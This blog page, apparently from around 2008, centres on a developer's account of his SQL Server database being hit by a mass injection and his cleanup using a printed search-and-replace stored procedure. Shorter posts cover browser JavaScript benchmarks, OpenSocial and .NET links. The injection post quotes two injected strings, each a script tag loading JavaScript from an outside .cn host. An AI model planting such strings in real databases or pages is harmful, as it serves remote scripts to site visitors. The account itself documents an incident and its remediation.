My Website's SQL Database was Hacked


I received an email from my website manager indicating several errors across  different pages. I hate days that start with issues like that, I first thought that someone again broke the website through an edit. But Beyond Compare told me I was totally wrong. I dug even further and realized that values returning from the database were incorrect.

Going down further I opened a whole table with 2 columns containing weird data. Column values have been altered with the following string concatenated to the original value:

"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--

"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--

image

Thank god the original value was still there or I would be crying right now instead of writing this blog post. This is called Code injection and in this case it's using a Cross Site Script to run in the user's browser.

At first I thought a single table was infected. So I wrote a small Linq To Sql code that fixed it. I then came to realize that the matter was worse and a lot of tables have been infected!

I did a quick search for "search and replace" SQL stored procedure and found SearchAndReplace. The SP simply takes a Search string and Replace string and then goes through ALL tables then each column and row and replaces all occurrences.

I quickly ran the following:

USE [databasename]
GO

DECLARE    @return_value int

EXEC    @return_value = [databasename].[SearchAndReplace]
        @SearchStr = N'"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--',
        @ReplaceStr = N''

SELECT    'Return Value' = @return_value

GO

image And voila, the website was back on track. I had over 80,000 occurrences! The stored procedure took less than 10 seconds. I thought it would take longer time to execute.

I changed the database password to something tougher (combination of numbers and lower and upper case letters). I also removed the SearchAndReplace stored procedure ;)

 

Now that I am happy again, I comfortly searched  Google for the same injected code and found TONS of infected websites, 840 to be exact!! ASP.NET, JSP, PHP...this virus got everybody.

 

For reference, here's the stored procedure:

CREATE PROC SearchAndReplace
(
    @SearchStr nvarchar(100),
    @ReplaceStr nvarchar(100)
)
AS
BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string and replace it with another string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 2nd November 2002 13:50 GMT

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
    SET @RCTR = 0

    WHILE @TableName IS NOT NULL
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            BEGIN
                SET @SQL=    'UPDATE ' + @TableName + 
                        ' SET ' + @ColumnName 
                        + ' =  REPLACE(' + @ColumnName + ', ' 
                        + QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') + 
                        ') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                EXEC (@SQL)
                SET @RCTR = @RCTR + @@ROWCOUNT
            END
        END    
    END

    SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
kick it on DotNetKicks.com



Battle of the browsers: The Javascript Engine Challenge


My good friend Hatham El-Fadeel pointed me to a post that states how good is the performance of the latest beta of Firefox 3 is compared to other web browsers and to even the previous beta of Firefox 3.

I though to jump right in and take the same test using my laptop as a test bed. An HP dv2775ee Core 2 Duo 2.5GHz 6MB Cache (T9300) with 4GB RAM on a Vista Home Premium 64 Bit

Browser

Time

(less is better)

Results URL

Firefox 2.0.13 12859.4ms http://urltea.com/32om
Firefox 3 beta 5 2736.4ms http://urltea.com/32pr
IE 7 21794.2ms http://urltea.com/32oy
IE 7 (64 bit) 20503.6ms http://urltea.com/32oq
IE 8 Beta 1 (64 bit) 6443.8ms http://urltea.com/32p6
Opera 9.26 8692ms http://urltea.com/32ot

 

WOW!! The Firefox team is doing magical stuff to their engine leaving both Opera and IE teams with some serious competition....the closest match is IE8 and it's 2x slower!!

 

Update: Coding horror has covered this a long time ago, in a much detailed way.




Google's OpenSocial Initiative: Open-Source Opportunities


image Just finished viewing this movie about Google's OpenSocial  initiative. Here is a quick quote to let you know what is this all about:

"OpenSocial provides a common set of APIs for social applications across multiple websites. With standard JavaScript and HTML, developers can create apps that access a social network's friends and update feeds."

There are many websites implementing OpenSocial, including Engage.com, Friendster, hi5, Hyves, imeem, LinkedIn, MySpace, Ning, Oracle, orkut, Plaxo, Salesforce.com, Six Apart, Tianji, Viadeo, and XING. And I am expecting that the list will grow since this is Google after all.

Open-Source Opportunities

OpenSocial.NET (or even LinQ to OpenSocial!):

.NET Wrapper for all server side functionalities in OpenSocial.

OpenSocial jQuery: client side?

This could be cool.

 Facebook Wrapper:

IMHO, Facebook won't adopt this standard until sometime because it already rolled out it's own platform a looong time ago. So there should be some kind of wrapper around opensocial to map facebook APIs to make creating apps that work even in facebook possible through opensocial.




.NET TOOLBOX: 25+ Tools and Tips For Working With .NET


 

 

The folks at mashable have compiled a comprehensive  list of good .net resource websites. Sadl, they didnt include great websites like dotnetkicks and dotnetslackers.

 

Quote:

"Microsoft is going to be letting developers take a look at the source code for .NET, but for those of you still in the trenches, coding away, we’ve gathered 25+ tools to help you with your daily tasks."


read more | digg story | kick it on DotNetKicks.com




Attention: PHP executes twice as fast when it’s run on ASP.NET


Read the title one more time. Yeah, I said it. PHP, one of the most popular web development languages, runs faster when it ’s executed as compiled .NET Common Language Runtime (CLR) using Phalanger 2.0 than it does running natively under the Zend interpreter.

read more | digg story



Flickr

Oroba Tunnel in Salah Salem Road [Cairo]  [NOT HDR]

Subscribe

RSS Feed
Add to Technorati Favorites
AddThis Feed Button


Subscribe by Email


Search

About Me

AA. I am Mohamed Salem Korayem. I work as an Embedded Software Engineer in a major international automotive supplier company here in Cairo, Egypt.

Currently I work in the Tooling Dept. where I, and the rest of the team, strive to make our fellow embedded software geeks happier. I work mainly with the .NET 2.0 using C#.

I also have a big appetite for web-development. I like analyzing the revolution of the web (aka Web 2.0) and how it affects people's lives in return. I develop web-apps with ASP.NET 2.0/Python in my free time. For client-side stuff, I use jQuery for all that Javascript magic.

What I muse, I share on this blog. So enjoy reading my mind and in case you like what you read, kindly subscribe by either email or RSS.

Email me!


Calendar

<<  September 2008  >>
MoTuWeThFrSaSu
25262728293031
1234567
891011121314
15161718192021
22232425262728
293012345

View posts in large calendar

Archive

Tags

Categories

Blogroll

OPML fileOPML

PersonalLinks



page counter Directory of Computers/Tech Blogs

Sign in